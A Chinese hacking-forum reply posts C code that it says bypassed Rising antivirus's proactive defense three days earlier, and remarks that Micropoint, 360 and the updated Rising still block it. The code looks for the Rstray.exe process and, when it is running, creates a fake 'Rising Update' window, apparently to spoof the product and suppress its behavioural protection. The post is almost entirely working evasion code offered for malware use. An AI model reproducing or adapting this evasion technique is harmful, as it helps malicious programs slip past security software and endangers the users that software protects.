回复 6楼 xuhuier 的帖子
回复6目前不能突破微点,360的主动,瑞星的主动刚升级也不能突破。3天前突破瑞星主动的代码如下:
#include <tlhelp32.h>
//瑞星
BOOL ProcessExit(LPCTSTR szProcName)
{
PROCESSENTRY32 pe;
DWORD dwRet;
BOOL bFound = FALSE;
HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hSP)
{
pe.dwSize = sizeof( pe );
for (dwRet = Process32First(hSP,&pe);
dwRet;
dwRet = Process32Next(hSP,&pe))
{
if(lstrcmpi(szProcName,pe.szExeFile) == 0)
{
bFound = TRUE;
break;
}
}
CloseHandle(hSP);
}
return bFound;
}
////////////////////过瑞星主动
LRESULT CALLBACK Wndproc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{
return DefWindowProc(hWnd,message,wParam,lParam);
}
DWORD WINAPI ShowGetWindow(LPVOID pData)
{
HWND hWnd = NULL;
HINSTANCE SelfHin = GetModuleHandle(NULL);
MSG msg ;
WNDCLASSEX wcex;
PCHAR szWindowClass ="Rising Update";
memset(&wcex,0,sizeof(WNDCLASSEX));
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)Wndproc;
wcex.hInstance = SelfHin;
wcex.hIcon = LoadIcon(NULL,IDI_WINLOGO);
wcex.hbrBackground = (HBRUSH)COLOR_WINDOW;
wcex.lpszClassName = szWindowClass;
RegisterClassEx(&wcex);
hWnd = CreateWindow(szWindowClass,"Rising Update",WS_OVERLAPPEDWINDOW,10,10,10,10,NULL,NULL,SelfHin,NULL);
if(hWnd)
{
ShowWindow(hWnd,SW_SHOW);
UpdateWindow(hWnd);
while (GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return 0;
}
DWORD FindProc(char *szExeName)
{
DWORD stat=0;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 pe;
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(handle,&pe))
{
if(stricmp(szExeName,pe.szExeFile)==0)
{
stat=pe.th32ProcessID;
}
while(Process32Next(handle,&pe)!=FALSE)
{
if(stricmp(szExeName,pe.szExeFile)==0)
{
stat=pe.th32ProcessID;
break;
}
}
}
CloseHandle(handle);
return stat;
}
/////////////////////瑞星过主动
//瑞星
if (ProcessExit("Rstray.exe"))
{
CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)ShowGetWindow,NULL,NULL,NULL);
Sleep(50);
}
|